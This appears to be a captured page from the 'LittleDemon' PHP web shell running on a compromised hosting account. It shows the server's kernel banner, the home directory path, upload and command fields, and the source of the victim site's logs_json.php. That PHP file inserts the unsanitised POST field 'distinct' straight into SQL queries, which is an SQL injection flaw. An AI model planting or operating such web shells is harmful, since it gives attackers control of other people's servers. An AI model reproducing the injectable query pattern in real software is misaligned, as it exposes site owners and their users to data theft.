LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/public_html/php/
File Upload :
Command :
Current File : /home/u901718425/public_html/php/logs_json.php

<?php
include("../panel/globale.php");
$interval = 'DATE_SUB(NOW(), INTERVAL 1 WEEK) ';
if($_POST){
    if(isset($_POST['sort']) && $_POST['sort']!=""){
        if($_POST['sort'] =="MONTH"){
            
        $interval = 'DATE_SUB(NOW(), INTERVAL 1 MONTH)';
        }else if($_POST['sort'] =="YEAR"){
        $interval = 'DATE_SUB(NOW(), INTERVAL 1 YEAR)';
            
        }
    }
}

if($_POST['distinct'] == 'user'){
    $res = $db->query('SELECT * FROM `user` ');
}elseif($_POST['distinct'] == 'date'){
    $res = $db->query('SELECT DATE_FORMAT(date, "%d %m %Y") as date, COUNT(DATE_FORMAT(date, "%d %m %Y")) as count, logs.* FROM `logs` WHERE date > '.$interval.' GROUP BY DATE_FORMAT(date, "%d %m %Y")'); 

}else{
    
$res = $db->query('SELECT DISTINCT('.$_POST['distinct'].') AS '.$_POST['distinct'].', COUNT('.$_POST['distinct'].') as count, logs.* FROM `logs` WHERE date > '.$interval.' GROUP BY '.$_POST['distinct'].''); 
}



if($res[0] == 'error'){
    $error['id'] = ($db->max("error_log") == NULL? 1 : (int)$db->max("error_log") + 1);
    $error['page'] = 'logs_json';
    $error['error'] = $db->sanitize($res[1]);
    $error['query'] = $db->sanitize($res[2]);
    $error['status'] = "not solved";
    $db->insert("error_log",$error);
}
    
echo json_encode($res);

?>

LittleDemon - FACEBOOK
[ KELUAR ]